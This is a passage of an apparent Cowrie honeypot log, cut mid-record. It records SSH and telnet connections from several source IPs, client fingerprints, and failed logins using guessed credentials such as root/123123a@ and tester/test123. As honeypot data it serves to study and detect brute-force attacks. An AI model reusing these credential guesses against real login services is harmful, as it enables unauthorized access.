langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:32.623988Z","src_ip":"45.114.124.44","session":"ee3c4df7cfd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test123","message":"login attempt [tester/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:33.541362Z","src_ip":"45.114.124.44","session":"ee3c4df7cfd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:34.763422Z","src_ip":"45.114.124.44","session":"ee3c4df7cfd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":39170,"dst_ip":"159.203.135.109","dst_port":22,"session":"c33995660c2a","protocol":"ssh","message":"New connection: 103.148.100.146:39170 (159.203.135.109:22) [session: c33995660c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:58.958735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:58.963943Z","src_ip":"103.148.100.146","session":"c33995660c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:59.230171Z","src_ip":"103.148.100.146","session":"c33995660c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guo","password":"guo","message":"login attempt [guo/guo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:00.310524Z","src_ip":"103.148.100.146","session":"c33995660c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:01.576785Z","src_ip":"103.148.100.146","session":"c33995660c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.16.39","src_port":42560,"dst_ip":"10.17.0.5","dst_port":23,"session":"020bd6ba6bcb","protocol":"telnet","message":"New connection: 157.66.16.39:42560 (10.17.0.5:23) [session: 020bd6ba6bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:26.736604Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":51894,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dcdba1bdc42","protocol":"ssh","message":"New connection: 210.90.155.178:51894 (159.203.135.109:22) [session: 4dcdba1bdc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:34.083129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:34.087359Z","src_ip":"210.90.155.178","session":"4dcdba1bdc42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:34.287932Z","src_ip":"210.90.155.178","session":"4dcdba1bdc42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"theta","password":"theta","message":"login attempt [theta/theta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:35.111866Z","src_ip":"210.90.155.178","session":"4dcdba1bdc42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":42744,"dst_ip":"10.17.0.5","dst_port":22,"session":"998ac4333c2b","protocol":"ssh","message":"New connection: 200.90.8.86:42744 (10.17.0.5:22) [session: 998ac4333c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:35.479740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:35.484952Z","src_ip":"200.90.8.86","session":"998ac4333c2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:35.576515Z","src_ip":"200.90.8.86","session":"998ac4333c2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:36.311673Z","src_ip":"210.90.155.178","session":"4dcdba1bdc42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auser","password":"123456","message":"login attempt [auser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:38.155241Z","src_ip":"200.90.8.86","session":"998ac4333c2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.392467737197876,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:39.128958Z","src_ip":"157.66.16.39","session":"020bd6ba6bcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:39.247962Z","src_ip":"200.90.8.86","session":"998ac4333c2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":53054,"dst_ip":"159.203.135.109","dst_port":22,"session":"b79b58399184","protocol":"ssh","message":"New connection: 80.66.85.226:53054 (159.203.135.109:22) [session: b79b58399184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:44.735242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:44.745304Z","src_ip":"80.66.85.226","session":"b79b58399184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:44.836254Z","src_ip":"80.66.85.226","session":"b79b58399184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asasasasas","message":"login attempt [root/asasasasas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:45.109762Z","src_ip":"80.66.85.226","session":"b79b58399184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:57:46.202559Z","src_ip":"80.66.85.226","session":"b79b58399184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":35094,"dst_ip":"10.17.0.5","dst_port":22,"session":"e16ba50c0482","protocol":"ssh","message":"New connection: 45.114.124.44:35094 (10.17.0.5:22) [session: e16ba50c0482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:08.209870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:08.214665Z","src_ip":"45.114.124.44","session":"e16ba50c0482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:08.436892Z","src_ip":"45.114.124.44","session":"e16ba50c0482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123a@","message":"login attempt [root/123123a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:09.347056Z","src_ip":"45.114.124.44","session":"e16ba50c0482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:10.568894Z","src_ip":"45.114.124.44","session":"e16ba50c0482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":49168,"dst_ip":"10.17.0.5","dst_port":22,"session":"750288049efb","protocol":"ssh","message":"New connection: 185.236.22.41:49168 (10.17.0.5:22) [session: 750288049efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:18.428638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:18.433777Z","src_ip":"185.236.22.41","session":"750288049efb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:18.548779Z","src_ip":"185.236.22.41","session":"750288049efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bestit2013","message":"login attempt [root/bestit2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:18.882238Z","src_ip":"185.236.22.41","session":"750288049efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:19.996435Z","src_ip":"185.236.22.41","session":"750288049efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":33860,"dst_ip":"159.203.135.109","dst_port":22,"session":"bba233f761b6","protocol":"ssh","message":"New connection: 94.159.98.239:33860 (159.203.135.109:22) [session: bba233f761b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:20.651719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:20.709496Z","src_ip":"94.159.98.239","session":"bba233f761b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:20.816122Z","src_ip":"94.159.98.239","session":"bba233f761b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stomatolog","message":"login attempt [root/stomatolog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:21.402426Z","src_ip":"94.159.98.239","session":"bba233f761b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:22.587998Z","src_ip":"94.159.98.239","session":"bba233f761b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":40930,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ee61dea857e","protocol":"ssh","message":"New connection: 103.148.100.146:40930 (159.203.135.109:22) [session: 1ee61dea857e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:39.888339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:39.893229Z","src_ip":"103.148.100.146","session":"1ee61dea857e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:40.164580Z","src_ip":"103.148.100.146","session":"1ee61dea857e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userm","password":"1qq2w3e4r5t","message":"login attempt [userm/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:41.269925Z","src_ip":"103.148.100.146","session":"1ee61dea857e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:58:42.543789Z","src_ip":"103.148.100.146","session":"1ee61dea857e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":58580,"dst_ip":"159.203.135.109","dst_port":22,"session":"c372b2bc6b12","protocol":"ssh","message":"New connection: 210.90.155.178:58580 (159.203.135.109:22) [session: c372b2bc6b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:59:15.919724Z"}
